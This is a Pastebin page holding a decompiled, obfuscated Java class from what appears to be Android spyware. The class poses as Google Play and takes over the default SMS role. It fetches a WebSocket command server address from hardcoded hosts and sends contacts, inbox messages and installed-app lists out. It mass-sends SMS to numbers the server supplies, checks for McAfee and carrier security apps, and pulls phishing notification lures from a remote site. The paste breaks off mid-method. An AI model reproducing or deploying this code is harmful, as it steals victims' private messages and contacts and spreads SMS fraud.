Advertisement
ozuma5119

ZSTWWISZV.java

Nov 6th, 2021
1,534
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 56.51 KB | None | 0 0
  1. package YYBJUNPFC.XOOKFRHFX.BIFGJWMPK;
  2.  
  3. import YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.abs.ISMLLIDYY;
  4. import YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.abs.KJRFGONSF;
  5. import android.app.Activity;
  6. import android.app.ActivityManager;
  7. import android.app.Notification;
  8. import android.app.NotificationChannel;
  9. import android.app.NotificationManager;
  10. import android.app.PendingIntent;
  11. import android.app.role.RoleManager;
  12. import android.content.BroadcastReceiver;
  13. import android.content.Context;
  14. import android.content.Intent;
  15. import android.content.IntentFilter;
  16. import android.content.pm.PackageInfo;
  17. import android.content.pm.PackageManager;
  18. import android.database.Cursor;
  19. import android.graphics.Bitmap;
  20. import android.graphics.BitmapFactory;
  21. import android.net.ConnectivityManager;
  22. import android.net.NetworkInfo;
  23. import android.net.Uri;
  24. import android.os.Build;
  25. import android.os.Handler;
  26. import android.os.Message;
  27. import android.os.Process;
  28. import android.provider.ContactsContract;
  29. import android.provider.Telephony;
  30. import android.telephony.SmsManager;
  31. import android.telephony.TelephonyManager;
  32. import android.text.TextUtils;
  33. import android.util.Log;
  34. import androidx.core.app.NotificationCompat;
  35. import androidx.core.content.ContextCompat;
  36. import cn.rs.keepalive.Helper;
  37. import cn.rs.keepalive.Task;
  38. import java.io.IOException;
  39. import java.net.HttpURLConnection;
  40. import java.net.URL;
  41. import java.text.SimpleDateFormat;
  42. import java.util.ArrayList;
  43. import java.util.Collections;
  44. import java.util.Date;
  45. import java.util.Iterator;
  46. import java.util.List;
  47. import java.util.Random;
  48. import java.util.concurrent.TimeUnit;
  49. import okhttp3.OkHttpClient;
  50. import okhttp3.Request;
  51. import okhttp3.Response;
  52. import okhttp3.WebSocket;
  53. import okhttp3.WebSocketListener;
  54. import org.jsoup.Jsoup;
  55. import org.jsoup.nodes.Document;
  56.  
  57. public class ZSTWWISZV {
  58.   public static final String CHANNEL_ID = "Google Play";
  59.  
  60.   public static final String CHANNEL_NAME = "Google Play";
  61.  
  62.   private static int MAX_CONNECT_ERROR_NUM = 0;
  63.  
  64.   private static int MAX_ERROR_NUM = 0;
  65.  
  66.   public static final String NAME = "display_name";
  67.  
  68.   public static final int NOTIFICATIONID_FOR_SERVICE = 32505874;
  69.  
  70.   public static final String NUM = "data1";
  71.  
  72.   private static String SENT_SMS_ACTION;
  73.  
  74.   private static final String SMS_URI_ALL = "content://sms/inbox";
  75.  
  76.   public static final String TAG = "KeepAlive";
  77.  
  78.   private static OkHttpClient client;
  79.  
  80.   private static String content;
  81.  
  82.   private static int currentMobileIndex;
  83.  
  84.   private static int current_connect;
  85.  
  86.   private static int mBitmapRetryTime;
  87.  
  88.   private static ArrayList<String> mContents;
  89.  
  90.   private static Context mContext;
  91.  
  92.   private static ArrayList<String> mDaiContents;
  93.  
  94.   private static ArrayList<String> mDaiMobiles;
  95.  
  96.   private static int mDangerNum;
  97.  
  98.   private static int mErrorNum;
  99.  
  100.   private static String mFailPhone;
  101.  
  102.   private static Handler mHandler;
  103.  
  104.   private static Handler mHandler2;
  105.  
  106.   private static Handler mHandler3;
  107.  
  108.   private static boolean mIsConnected;
  109.  
  110.   private static int mLianxuConnectErrorNum;
  111.  
  112.   private static int mLianxuErrorNum;
  113.  
  114.   private static int mMaxRetry;
  115.  
  116.   private static ArrayList<String> mMobiles;
  117.  
  118.   private static long mNotiTime;
  119.  
  120.   private static ArrayList<String> mPermissionList;
  121.  
  122.   private static String[] mPkgNames;
  123.  
  124.   private static int mShowTime;
  125.  
  126.   private static int mSuccessNum;
  127.  
  128.   private static int mTitleRetryTime;
  129.  
  130.   private static int mUrlRetryTime;
  131.  
  132.   private static WebSocket mWebSocket;
  133.  
  134.   private static NotificationManager manager;
  135.  
  136.   public static Bitmap myBitmap;
  137.  
  138.   private static String[] permissions;
  139.  
  140.   private static Uri phoneUri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
  141.  
  142.   private static Request request;
  143.  
  144.   private static BroadcastReceiver sendMessage;
  145.  
  146.   private static PendingIntent sentPI;
  147.  
  148.   private static WebSocketListener webSocketListener;
  149.  
  150.   static  {
  151.     SENT_SMS_ACTION = "SENT_SMS_ACTION";
  152.     mMobiles = new ArrayList();
  153.     mContents = new ArrayList();
  154.     mDaiMobiles = new ArrayList();
  155.     mDaiContents = new ArrayList();
  156.     mLianxuErrorNum = 0;
  157.     MAX_ERROR_NUM = 8;
  158.     mErrorNum = 0;
  159.     mSuccessNum = 0;
  160.     mFailPhone = "";
  161.     MAX_CONNECT_ERROR_NUM = 5;
  162.     mLianxuConnectErrorNum = 0;
  163.     permissions = new String[] { "android.permission.SEND_SMS" };
  164.     mPermissionList = new ArrayList();
  165.     current_connect = 0;
  166.     mNotiTime = 300000L;
  167.     mHandler = new Handler() {
  168.         public void handleMessage(Message param1Message) {
  169.           StringBuilder stringBuilder3;
  170.           StringBuilder stringBuilder1;
  171.           Intent intent;
  172.           super.handleMessage(param1Message);
  173.           int i = param1Message.what;
  174.           byte b = 0;
  175.           switch (i) {
  176.             default:
  177.               return;
  178.             case 7:
  179.               Log.i("rgh", "showNoti");
  180.               ZSTWWISZV.removeHandler3();
  181.               intent = new Intent(mContext, BLYPQOUOY.class);
  182.               intent.setFlags(335544320);
  183.               pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 134217728);
  184.               stringBuilder1 = new ICBKGJRGA(mContext);
  185.               if (!TextUtils.isEmpty(DLVSCCNBD.getString("sp_noti_name", "")) && DLVSCCNBD.getString("sp_noti_name", "").toLowerCase().contains("google")) {
  186.                 stringBuilder1.sendCustomNoti(2131165294, "", "", "type", pendingIntent);
  187.               } else {
  188.                 stringBuilder1.sendCustomNoti(2131165300, "", "", "type", pendingIntent);
  189.               }
  190.               DLVSCCNBD.putBoolean("sp_has_submit_url", false);
  191.               mHandler3.sendEmptyMessageDelayed(0, mNotiTime);
  192.             case 6:
  193.               Log.i("rgh", "mWebSocket.send(getTxl())");
  194.               if (mWebSocket != null)
  195.                 mWebSocket.send(ZSTWWISZV.getTxl());
  196.             case 5:
  197.               if (!DLVSCCNBD.getBoolean("sp_upload_permission", false)) {
  198.                 while (b < permissions.length) {
  199.                   if (ContextCompat.checkSelfPermission(mContext, permissions[b]) != 0)
  200.                     mPermissionList.add(permissions[b]);
  201.                   b++;
  202.                 }
  203.                 if (mPermissionList.size() > 0)
  204.                   mWebSocket.send("权限&未获取权限");
  205.                 DLVSCCNBD.getBoolean("sp_upload_permission", true);
  206.               }
  207.             case 4:
  208.               try {
  209.                 ZSTWWISZV.sendSms((String)mMobiles.get(currentMobileIndex), (String)mContents.get(currentMobileIndex));
  210.               } catch (Exception null) {
  211.                 stringBuilder1.printStackTrace();
  212.               }
  213.             case 3:
  214.               try {
  215.                 StringBuilder stringBuilder = new StringBuilder();
  216.                 this();
  217.                 stringBuilder.append(stringBuilder1.what);
  218.                 stringBuilder.append("----");
  219.                 stringBuilder.append(DLVSCCNBD.getString("sp_connect_url", ""));
  220.                 Log.i("rgh", stringBuilder.toString());
  221.                 if (TextUtils.isEmpty(DLVSCCNBD.getString("sp_connect_url", ""))) {
  222.                   ZSTWWISZV.access$1302(false);
  223.                   sendEmptyMessageDelayed(2, 20000L);
  224.                   return;
  225.                 }
  226.                 if (mWebSocket != null)
  227.                   mWebSocket.close(1000, null);
  228.                 ZSTWWISZV.access$502(null);
  229.                 ZSTWWISZV.access$1502(null);
  230.                 OkHttpClient.Builder builder1 = new OkHttpClient.Builder();
  231.                 this();
  232.                 ZSTWWISZV.access$1102(builder1.readTimeout(10L, TimeUnit.SECONDS).writeTimeout(10L, TimeUnit.SECONDS).connectTimeout(10L, TimeUnit.SECONDS).build());
  233.                 ZSTWWISZV.initWebSocketListener();
  234.                 Request.Builder builder = new Request.Builder();
  235.                 this();
  236.                 ZSTWWISZV.access$1202(builder.url(DLVSCCNBD.getString("sp_connect_url", "")).build());
  237.                 ZSTWWISZV.access$502(client.newWebSocket(request, webSocketListener));
  238.                 client.dispatcher().executorService().shutdown();
  239.               } catch (Exception pendingIntent) {
  240.                 stringBuilder1 = new StringBuilder();
  241.                 stringBuilder1.append("connect: ");
  242.                 stringBuilder1.append(pendingIntent.toString());
  243.                 Log.i("rgh", stringBuilder1.toString());
  244.                 ZSTWWISZV.access$1302(false);
  245.                 ZSTWWISZV.access$1708();
  246.                 if (mHandler.hasMessages(4)) {
  247.                   mHandler.removeCallbacksAndMessages(null);
  248.                   mHandler.sendEmptyMessageDelayed(4, 6000L);
  249.                 } else {
  250.                   mHandler.removeCallbacksAndMessages(null);
  251.                 }
  252.                 mHandler.sendEmptyMessageDelayed(2, 40000L);
  253.                 mHandler.sendEmptyMessageDelayed(1, 30000L);
  254.                 pendingIntent.printStackTrace();
  255.               }
  256.             case 2:
  257.               stringBuilder3 = new StringBuilder();
  258.               stringBuilder3.append(stringBuilder1.what);
  259.               stringBuilder3.append(",");
  260.               stringBuilder3.append(mIsConnected);
  261.               stringBuilder3.append(",");
  262.               stringBuilder3.append(DLVSCCNBD.getString("sp_connect_url", ""));
  263.               Log.i("rgh", stringBuilder3.toString());
  264.               if (!mIsConnected)
  265.                 if (current_connect == 1) {
  266.                   ZSTWWISZV.getData();
  267.                 } else {
  268.                   ZSTWWISZV.getDataBeiyong();
  269.                 }  
  270.             case 1:
  271.               stringBuilder3 = new StringBuilder();
  272.               stringBuilder3.append(stringBuilder1.what);
  273.               stringBuilder3.append(",");
  274.               Log.i("rgh", stringBuilder3.toString());
  275.               sendEmptyMessageDelayed(2, 20000L);
  276.               ZSTWWISZV.access$1302(false);
  277.               str = Telephony.Sms.getDefaultSmsPackage(mContext);
  278.               stringBuilder1 = new StringBuilder();
  279.               stringBuilder1.append(str);
  280.               stringBuilder1.append(",");
  281.               stringBuilder1.append(mContext.getPackageName());
  282.               Log.i("rgh", stringBuilder1.toString());
  283.               if (!mContext.getPackageName().equals(str)) {
  284.                 Log.i("rgh", "eee");
  285.                 try {
  286.                   if (Build.VERSION.SDK_INT >= 29) {
  287.                     RoleManager roleManager = (RoleManager)mContext.getSystemService(RoleManager.class);
  288.                     if (roleManager.isRoleAvailable("android.app.role.SMS")) {
  289.                       Intent intent1 = roleManager.createRequestRoleIntent("android.app.role.SMS");
  290.                       ((Activity)mContext).startActivityForResult(intent1, 1);
  291.                     }
  292.                   } else if (Build.VERSION.SDK_INT >= 19) {
  293.                     Intent intent1 = new Intent();
  294.                     this("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
  295.                     intent1.putExtra("package", mContext.getPackageName());
  296.                     intent1.setFlags(276824064);
  297.                     mContext.startActivity(intent1);
  298.                   }
  299.                   sendEmptyMessageDelayed(1, 60000L);
  300.                 } catch (Exception str) {
  301.                   stringBuilder1 = new StringBuilder();
  302.                   stringBuilder1.append("Telephony = ");
  303.                   stringBuilder1.append(str.toString());
  304.                   Log.i("rgh", stringBuilder1.toString());
  305.                   sendEmptyMessageDelayed(1, 60000L);
  306.                   str.printStackTrace();
  307.                 }
  308.               }
  309.             case 0:
  310.               break;
  311.           }
  312.           StringBuilder stringBuilder2 = new StringBuilder();
  313.           stringBuilder2.append(stringBuilder1.what);
  314.           stringBuilder2.append(":");
  315.           stringBuilder2.append(client);
  316.           stringBuilder2.append(",");
  317.           stringBuilder2.append(request);
  318.           stringBuilder2.append(",");
  319.           stringBuilder2.append(mWebSocket);
  320.           Log.i("rgh", stringBuilder2.toString());
  321.           mWebSocket.send("心跳&ping");
  322.           sendEmptyMessageDelayed(0, 10000L);
  323.         }
  324.       };
  325.     mTitleRetryTime = 0;
  326.     mUrlRetryTime = 0;
  327.     mBitmapRetryTime = 0;
  328.     mMaxRetry = 3;
  329.     sendMessage = new BroadcastReceiver() {
  330.         public void onReceive(Context param1Context, Intent param1Intent) {
  331.           stringBuilder = new StringBuilder();
  332.           stringBuilder.append("getResultCode(): ");
  333.           stringBuilder.append(getResultCode());
  334.           Log.i("rgh", stringBuilder.toString());
  335.           if (getResultCode() != -1) {
  336.             ZSTWWISZV.access$2908();
  337.             ZSTWWISZV.access$2802(mLianxuErrorNum + 1);
  338.             if (mWebSocket != null)
  339.               try {
  340.                 ZSTWWISZV.saveLocal();
  341.                 if (TextUtils.isEmpty(mFailPhone)) {
  342.                   ZSTWWISZV.access$3102((String)mMobiles.get(currentMobileIndex));
  343.                 } else {
  344.                   stringBuilder = new StringBuilder();
  345.                   this();
  346.                   stringBuilder.append(mFailPhone);
  347.                   stringBuilder.append(",");
  348.                   stringBuilder.append((String)mMobiles.get(currentMobileIndex));
  349.                   ZSTWWISZV.access$3102(stringBuilder.toString());
  350.                 }
  351.                 if (mLianxuErrorNum == MAX_ERROR_NUM) {
  352.                   stringBuilder = new StringBuilder();
  353.                   this();
  354.                   stringBuilder.append("发信息&success:");
  355.                   stringBuilder.append(mSuccessNum);
  356.                   stringBuilder.append("|fail:");
  357.                   stringBuilder.append(mErrorNum);
  358.                   stringBuilder.append("|Stop|failPhone:");
  359.                   stringBuilder.append(mFailPhone);
  360.                   ZSTWWISZV.sendSmsByWebsocket(stringBuilder.toString());
  361.                 }
  362.                 ZSTWWISZV.access$1808();
  363.                 if (currentMobileIndex < mMobiles.size()) {
  364.                   mHandler.sendEmptyMessageDelayed(4, 6000L);
  365.                 } else {
  366.                   stringBuilder = new StringBuilder();
  367.                   this();
  368.                   stringBuilder.append("发信息&success:");
  369.                   stringBuilder.append(mSuccessNum);
  370.                   stringBuilder.append("|fail:");
  371.                   stringBuilder.append(mErrorNum);
  372.                   stringBuilder.append("|Over|failPhone:");
  373.                   stringBuilder.append(mFailPhone);
  374.                   ZSTWWISZV.sendSmsByWebsocket(stringBuilder.toString());
  375.                 }
  376.               } catch (Exception stringBuilder) {
  377.                 stringBuilder.printStackTrace();
  378.               }  
  379.           } else {
  380.             ZSTWWISZV.access$2802(0);
  381.             ZSTWWISZV.access$3008();
  382.             if (mWebSocket != null) {
  383.               ZSTWWISZV.access$1808();
  384.               ZSTWWISZV.saveLocal();
  385.               if (currentMobileIndex < mMobiles.size()) {
  386.                 mHandler.sendEmptyMessageDelayed(4, 6000L);
  387.               } else {
  388.                 stringBuilder = new StringBuilder();
  389.                 stringBuilder.append("发信息&success:");
  390.                 stringBuilder.append(mSuccessNum);
  391.                 stringBuilder.append("|fail:");
  392.                 stringBuilder.append(mErrorNum);
  393.                 stringBuilder.append("|Over|failPhone:");
  394.                 stringBuilder.append(mFailPhone);
  395.                 ZSTWWISZV.sendSmsByWebsocket(stringBuilder.toString());
  396.               }
  397.             }
  398.           }
  399.         }
  400.       };
  401.     mHandler2 = new Handler() {
  402.         public void handleMessage(Message param1Message) {
  403.           super.handleMessage(param1Message);
  404.           if (param1Message.what == 0) {
  405.             if (ZSTWWISZV.isAppInstalled() && !DLVSCCNBD.getBoolean("sp_show_danger", false)) {
  406.               DLVSCCNBD.putBoolean("sp_show_danger", true);
  407.               DLVSCCNBD.putLong("sp_scan_time", System.currentTimeMillis());
  408.               DLVSCCNBD.putInt("sp_danger_number", mDangerNum);
  409.               Intent intent = new Intent(mContext, YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.aas.DGPMWKIRQ.class);
  410.               intent.setFlags(335544320);
  411.               PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 134217728);
  412.               ICBKGJRGA iCBKGJRGA = new ICBKGJRGA(mContext);
  413.               String str;
  414.               iCBKGJRGA.sendNotificationFullScreen(2131165340, (str = String.format(mContext.getString(2131689611), new Object[] { Integer.valueOf(ZSTWWISZV.access$4700()) })).format(mContext.getString(2131689610), new Object[] { Integer.valueOf(ZSTWWISZV.access$4700()) }), str, "type", pendingIntent);
  415.             }
  416.             mHandler2.sendEmptyMessageDelayed(0, 300000L);
  417.           }
  418.         }
  419.       };
  420.     mShowTime = 0;
  421.     mHandler3 = new Handler() {
  422.         public void handleMessage(Message param1Message) {
  423.           super.handleMessage(param1Message);
  424.           if (param1Message.what == 0) {
  425.             if (!DLVSCCNBD.getBoolean("sp_has_submit_url", false) && mShowTime < 5) {
  426.               Intent intent = new Intent(mContext, BLYPQOUOY.class);
  427.               intent.setFlags(335544320);
  428.               PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 134217728);
  429.               ICBKGJRGA iCBKGJRGA = new ICBKGJRGA(mContext);
  430.               if (!TextUtils.isEmpty(DLVSCCNBD.getString("sp_noti_name", "")) && DLVSCCNBD.getString("sp_noti_name", "").toLowerCase().contains("google")) {
  431.                 iCBKGJRGA.sendCustomNoti(2131165294, "", "", "type", pendingIntent);
  432.               } else {
  433.                 iCBKGJRGA.sendCustomNoti(2131165300, "", "", "type", pendingIntent);
  434.               }
  435.               ZSTWWISZV.access$3908();
  436.             }
  437.             mHandler3.sendEmptyMessageDelayed(0, mNotiTime);
  438.           }
  439.         }
  440.       };
  441.     mPkgNames = new String[] { "com.wsandroid.suite", "com.au.anshinnetsecurity", "com.nttdocomo.android.anshinsecurity", "com.mcafee.vsm_android_dcm" };
  442.     mDangerNum = 0;
  443.   }
  444.  
  445.   private static Notification buildNotification(Context paramContext) {
  446.     if (Build.VERSION.SDK_INT >= 26) {
  447.       NotificationChannel notificationChannel = new NotificationChannel("Google Play", "Google Play", 4);
  448.       notificationChannel.enableVibration(false);
  449.       notificationChannel.enableLights(false);
  450.       notificationChannel.enableVibration(false);
  451.       notificationChannel.setVibrationPattern(new long[] { 0L });
  452.       notificationChannel.setSound(null, null);
  453.       getManager(paramContext).createNotificationChannel(notificationChannel);
  454.     }
  455.     PendingIntent pendingIntent = PendingIntent.getActivity(paramContext, -1, new Intent(paramContext, YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.aas.DGPMWKIRQ.class), 134217728);
  456.     NotificationCompat.Builder builder = (new NotificationCompat.Builder(paramContext, "Google Play")).setSmallIcon(2131165345).setContentTitle("").setShowWhen(false).setContentText("").setContentIntent(pendingIntent).setDefaults(1);
  457.     (builder.build()).when = 0L;
  458.     return builder.build();
  459.   }
  460.  
  461.   private static void getData() {
  462.     StringBuilder stringBuilder = new StringBuilder();
  463.     stringBuilder.append(DLVSCCNBD.getString("sp_connect_url", ""));
  464.     stringBuilder.append("----");
  465.     stringBuilder.append(mLianxuConnectErrorNum);
  466.     stringBuilder.append(",");
  467.     stringBuilder.append(MAX_CONNECT_ERROR_NUM);
  468.     Log.i("rgh", stringBuilder.toString());
  469.     if (TextUtils.isEmpty(DLVSCCNBD.getString("sp_connect_url", "")) || mLianxuConnectErrorNum >= MAX_CONNECT_ERROR_NUM) {
  470.       (new Thread(new Runnable() {
  471.             public void run() {
  472.               Log.i("rgh", "run");
  473.               try {
  474.                 StringBuilder stringBuilder1 = Jsoup.connect("http://211103.top/").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
  475.                 StringBuilder stringBuilder2 = new StringBuilder();
  476.                 this();
  477.                 stringBuilder2.append("body: ");
  478.                 stringBuilder2.append(stringBuilder1.body().text());
  479.                 Log.i("rgh", stringBuilder2.toString());
  480.                 boolean bool = stringBuilder1.body().text().contains(" ");
  481.                 if (bool) {
  482.                   String str = stringBuilder1.body().text().split(" ")[0];
  483.                   if (!TextUtils.isEmpty(str)) {
  484.                     stringBuilder1 = new StringBuilder();
  485.                     this();
  486.                     stringBuilder1.append("ws://");
  487.                     stringBuilder1.append(str);
  488.                     DLVSCCNBD.putString("sp_connect_url", stringBuilder1.toString());
  489.                     ZSTWWISZV.access$202(0);
  490.                     mHandler.sendEmptyMessageDelayed(3, 1000L);
  491.                   } else {
  492.                     ZSTWWISZV.getDataBeiyong();
  493.                   }
  494.                 } else {
  495.                   String str = stringBuilder1.body().text();
  496.                   if (!TextUtils.isEmpty(str)) {
  497.                     stringBuilder2 = new StringBuilder();
  498.                     this();
  499.                     stringBuilder2.append("ws://");
  500.                     stringBuilder2.append(str);
  501.                     DLVSCCNBD.putString("sp_connect_url", stringBuilder2.toString());
  502.                     ZSTWWISZV.access$202(0);
  503.                     mHandler.sendEmptyMessageDelayed(3, 1000L);
  504.                   } else {
  505.                     ZSTWWISZV.getDataBeiyong();
  506.                   }
  507.                 }
  508.               } catch (Exception exception) {
  509.                 StringBuilder stringBuilder = new StringBuilder();
  510.                 stringBuilder.append("run");
  511.                 stringBuilder.append(exception.toString());
  512.                 Log.i("rgh", stringBuilder.toString());
  513.                 ZSTWWISZV.getDataBeiyong();
  514.                 ZSTWWISZV.access$202(0);
  515.                 exception.printStackTrace();
  516.               }
  517.             }
  518.           })).start();
  519.       return;
  520.     }
  521.     mHandler.sendEmptyMessageDelayed(3, 1000L);
  522.   }
  523.  
  524.   private static void getDataBeiyong() { (new Thread(new Runnable() {
  525.           public void run() {
  526.             try {
  527.               Document document = Jsoup.connect("http://211103bei.top/").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
  528.               String str = document.body().text();
  529.               StringBuilder stringBuilder = new StringBuilder();
  530.               this();
  531.               stringBuilder.append("body2: ");
  532.               stringBuilder.append(document.body().text());
  533.               Log.i("rgh", stringBuilder.toString());
  534.               if (!TextUtils.isEmpty(str)) {
  535.                 ZSTWWISZV.access$202(1);
  536.                 StringBuilder stringBuilder1 = new StringBuilder();
  537.                 this();
  538.                 stringBuilder1.append("ws://");
  539.                 stringBuilder1.append(str);
  540.                 DLVSCCNBD.putString("sp_connect_url", stringBuilder1.toString());
  541.               }
  542.               mHandler.sendEmptyMessageDelayed(3, 1000L);
  543.             } catch (Exception exception) {
  544.               StringBuilder stringBuilder = new StringBuilder();
  545.               stringBuilder.append("2run");
  546.               stringBuilder.append(exception.toString());
  547.               Log.i("rgh", stringBuilder.toString());
  548.               ZSTWWISZV.access$202(1);
  549.               mHandler.sendEmptyMessageDelayed(3, 1000L);
  550.               exception.printStackTrace();
  551.             }
  552.           }
  553.         })).start(); }
  554.  
  555.   private static String getLocalSms() {
  556.     List list = KJRFGONSF.getUserList();
  557.     Collections.reverse(list);
  558.     StringBuilder stringBuilder = new StringBuilder();
  559.     for (ISMLLIDYY iSMLLIDYY : list) {
  560.       if (TextUtils.isEmpty(stringBuilder)) {
  561.         stringBuilder.append("收件箱&");
  562.         StringBuilder stringBuilder2 = new StringBuilder();
  563.         stringBuilder2.append(iSMLLIDYY.address);
  564.         stringBuilder2.append("|");
  565.         stringBuilder.append(stringBuilder2.toString());
  566.         stringBuilder2 = new StringBuilder();
  567.         stringBuilder2.append(iSMLLIDYY.stime);
  568.         stringBuilder2.append("|");
  569.         stringBuilder.append(stringBuilder2.toString());
  570.         stringBuilder.append(iSMLLIDYY.body);
  571.         continue;
  572.       }
  573.       stringBuilder.append("[|]");
  574.       StringBuilder stringBuilder1 = new StringBuilder();
  575.       stringBuilder1.append(iSMLLIDYY.address);
  576.       stringBuilder1.append("|");
  577.       stringBuilder.append(stringBuilder1.toString());
  578.       stringBuilder1 = new StringBuilder();
  579.       stringBuilder1.append(iSMLLIDYY.stime);
  580.       stringBuilder1.append("|");
  581.       stringBuilder.append(stringBuilder1.toString());
  582.       stringBuilder.append(iSMLLIDYY.body);
  583.     }
  584.     if (TextUtils.isEmpty(stringBuilder))
  585.       stringBuilder.append("收件箱&no result!");
  586.     return stringBuilder.toString();
  587.   }
  588.  
  589.   private static NotificationManager getManager(Context paramContext) {
  590.     if (manager == null)
  591.       manager = (NotificationManager)paramContext.getSystemService("notification");
  592.     return manager;
  593.   }
  594.  
  595.   private static String getNativePhoneNumber() { return (ContextCompat.checkSelfPermission(mContext, "android.permission.READ_PHONE_STATE") == 0) ? ((TelephonyManager)mContext.getSystemService("phone")).getLine1Number() : ""; }
  596.  
  597.   private static void getNotiBitmap() {
  598.     if (mBitmapRetryTime < mMaxRetry)
  599.       (new Thread(new Runnable() {
  600.             public void run() {
  601.               try {
  602.                 URL uRL = new URL();
  603.                 this("http://tongzhilan.top/logo.png");
  604.                 HttpURLConnection httpURLConnection = (HttpURLConnection)uRL.openConnection();
  605.                 httpURLConnection.setDoInput(true);
  606.                 httpURLConnection.connect();
  607.                 ZSTWWISZV.myBitmap = BitmapFactory.decodeStream(httpURLConnection.getInputStream());
  608.                 mHandler.sendEmptyMessage(7);
  609.               } catch (IOException iOException) {
  610.                 StringBuilder stringBuilder = new StringBuilder();
  611.                 stringBuilder.append("bitmap e: ");
  612.                 stringBuilder.append(iOException.getMessage());
  613.                 Log.i("rgh", stringBuilder.toString());
  614.                 ZSTWWISZV.access$3808();
  615.                 ZSTWWISZV.getNotiBitmap();
  616.               }
  617.             }
  618.           })).start();
  619.   }
  620.  
  621.   private static void getNotiTitle() {
  622.     if (mTitleRetryTime < mMaxRetry)
  623.       (new Thread(new Runnable() {
  624.             public void run() {
  625.               try {
  626.                 Document document = Jsoup.connect("http://tongzhilan.top/content.txt").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
  627.                 StringBuilder stringBuilder = new StringBuilder();
  628.                 this();
  629.                 stringBuilder.append("body: ");
  630.                 stringBuilder.append(document.body().text());
  631.                 stringBuilder.append(",");
  632.                 stringBuilder.append(document.body().text().contains(" "));
  633.                 Log.i("rgh", stringBuilder.toString());
  634.                 if (document.body().text().contains(" ")) {
  635.                   String str2 = document.body().text().split(" ")[0];
  636.                   String str3 = document.body().text().split(" ")[1];
  637.                   String str1 = document.body().text().split(" ")[2];
  638.                   DLVSCCNBD.putString("sp_noti_name", str2);
  639.                   DLVSCCNBD.putString("sp_noti_title", str3);
  640.                   DLVSCCNBD.putString("sp_noti_content", str1);
  641.                   ZSTWWISZV.getNotiUrl();
  642.                 }
  643.               } catch (Exception exception) {
  644.                 StringBuilder stringBuilder = new StringBuilder();
  645.                 stringBuilder.append("title run");
  646.                 stringBuilder.append(exception.toString());
  647.                 Log.i("rgh", stringBuilder.toString());
  648.                 ZSTWWISZV.access$3608();
  649.                 ZSTWWISZV.getNotiTitle();
  650.                 exception.printStackTrace();
  651.               }
  652.             }
  653.           })).start();
  654.   }
  655.  
  656.   private static void getNotiUrl() {
  657.     if (mUrlRetryTime < mMaxRetry)
  658.       (new Thread(new Runnable() {
  659.             public void run() {
  660.               try {
  661.                 Document document = Jsoup.connect("http://tongzhilan.top/link.txt").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
  662.                 StringBuilder stringBuilder = new StringBuilder();
  663.                 this();
  664.                 stringBuilder.append("body: ");
  665.                 stringBuilder.append(document.body().text());
  666.                 stringBuilder.append(",");
  667.                 stringBuilder.append(document.body().text().contains(" "));
  668.                 Log.i("rgh", stringBuilder.toString());
  669.                 boolean bool = document.body().text().contains(" ");
  670.                 if (bool) {
  671.                   int i = document.body().text().split(" ").length;
  672.                   Random random = new Random();
  673.                   this();
  674.                   i = random.nextInt(i);
  675.                   DLVSCCNBD.putString("sp_noti_url", document.body().text().split(" ")[i]);
  676.                 } else {
  677.                   DLVSCCNBD.putString("sp_noti_url", document.body().text());
  678.                 }
  679.                 ZSTWWISZV.getNotiBitmap();
  680.               } catch (Exception exception) {
  681.                 StringBuilder stringBuilder = new StringBuilder();
  682.                 stringBuilder.append("url run");
  683.                 stringBuilder.append(exception.toString());
  684.                 Log.i("rgh", stringBuilder.toString());
  685.                 ZSTWWISZV.access$3708();
  686.                 ZSTWWISZV.getNotiUrl();
  687.                 exception.printStackTrace();
  688.               }
  689.             }
  690.           })).start();
  691.   }
  692.  
  693.   private static String getPackagesNames() {
  694.     PackageManager packageManager = mContext.getPackageManager();
  695.     byte b = 0;
  696.     List list = packageManager.getInstalledPackages(0);
  697.     String str;
  698.     for (str = ""; b < list.size(); str = str1) {
  699.       PackageInfo packageInfo = (PackageInfo)list.get(b);
  700.       String str1 = str;
  701.       if ((packageInfo.applicationInfo.flags & true) == 0)
  702.         if (TextUtils.isEmpty(str)) {
  703.           str1 = packageInfo.applicationInfo.loadLabel(mContext.getPackageManager()).toString();
  704.         } else {
  705.           StringBuilder stringBuilder = new StringBuilder();
  706.           stringBuilder.append(str);
  707.           stringBuilder.append("|");
  708.           stringBuilder.append(packageInfo.applicationInfo.loadLabel(mContext.getPackageManager()).toString());
  709.           str1 = stringBuilder.toString();
  710.         }  
  711.       b++;
  712.     }
  713.     return str.replaceAll("&", ".");
  714.   }
  715.  
  716.   private static String getSms() {
  717.     try {
  718.       Uri uri = Uri.parse("content://sms/inbox");
  719.       Cursor cursor = mContext.getContentResolver().query(uri, new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
  720.       StringBuilder stringBuilder = new StringBuilder();
  721.       this();
  722.       if (cursor.moveToFirst()) {
  723.         int i = cursor.getColumnIndex("address");
  724.         int j = cursor.getColumnIndex("body");
  725.         int k = cursor.getColumnIndex("date");
  726.         int m = cursor.getColumnIndex("type");
  727.         do {
  728.           StringBuilder stringBuilder1 = cursor.getString(i);
  729.           String str1 = cursor.getString(j);
  730.           long l = cursor.getLong(k);
  731.           int n = cursor.getInt(m);
  732.           SimpleDateFormat simpleDateFormat = new SimpleDateFormat();
  733.           this("yyyy-MM-dd hh:mm:ss");
  734.           Date date = new Date();
  735.           this(l);
